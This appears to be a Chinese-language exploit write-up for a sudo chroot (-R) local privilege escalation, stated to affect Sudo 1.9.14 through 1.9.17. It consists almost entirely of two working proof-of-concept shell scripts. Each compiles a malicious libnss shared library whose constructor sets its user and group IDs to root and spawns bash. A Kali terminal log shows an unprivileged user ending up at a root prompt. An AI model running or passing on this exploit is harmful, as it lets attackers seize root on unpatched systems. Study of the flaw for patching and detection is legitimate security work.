地层
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46
| ┌──(root㉿kali)-[/] └─ $ python3 -c 'import pty;pty.spawn("/bin/bash")' ┌──(test_poc㉿kali)-[/] └─$ id uid=1001(test_poc) gid=1001(test_poc) 组=1001(test_poc)
┌──(test_poc㉿kali)-[/] └─$ cd /tmp
┌──(test_poc㉿kali)-[/tmp] └─$ cat test.sh
STAGE=$(mktemp -d /tmp/sudowoot.stage.XXXXXX) cd ${STAGE?} || exit 1
cat > woot1337.c<<EOF #include <stdlib.h> #include <unistd.h>
__attribute__((constructor)) void woot(void) { setreuid(0,0); setregid(0,0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF
mkdir -p woot/etc libnss_ echo "passwd: /woot1337" > woot/etc/nsswitch.conf cp /etc/group woot/etc gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 woot1337.c
echo "woot!" sudo -R woot woot rm -rf ${STAGE?}
┌──(test_poc㉿kali)-[/tmp] └─$ sh test.sh woot! sudo: 无法解析主机:kali: 名称或服务未知 ┌──(root㉿kali)-[/] └─
|
版本影响范围在Sudo 1.9.14至1.9.17全系列
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| #!/bin/bash STAGE=$(mktemp -d /tmp/sudostage.XXXX) cd "$STAGE"
cat > xd1337.c << 'EOF' #include <stdlib.h> #include <unistd.h>
__attribute__((constructor)) void xd1337(void) { setreuid(0, 0); setregid(0, 0); chdir("/"); execl("/bin/bash", "/bin/bash", NULL); } EOF
mkdir -p xd/etc libnss_ echo "passwd: /xd1337" > xd/etc/nsswitch.conf cp /etc/group xd/etc/
gcc -shared -fPIC -Wl,-init,xd1337 -o libnss_/xd1337.so.2 xd1337.c
sudo -R xd /bin/true
|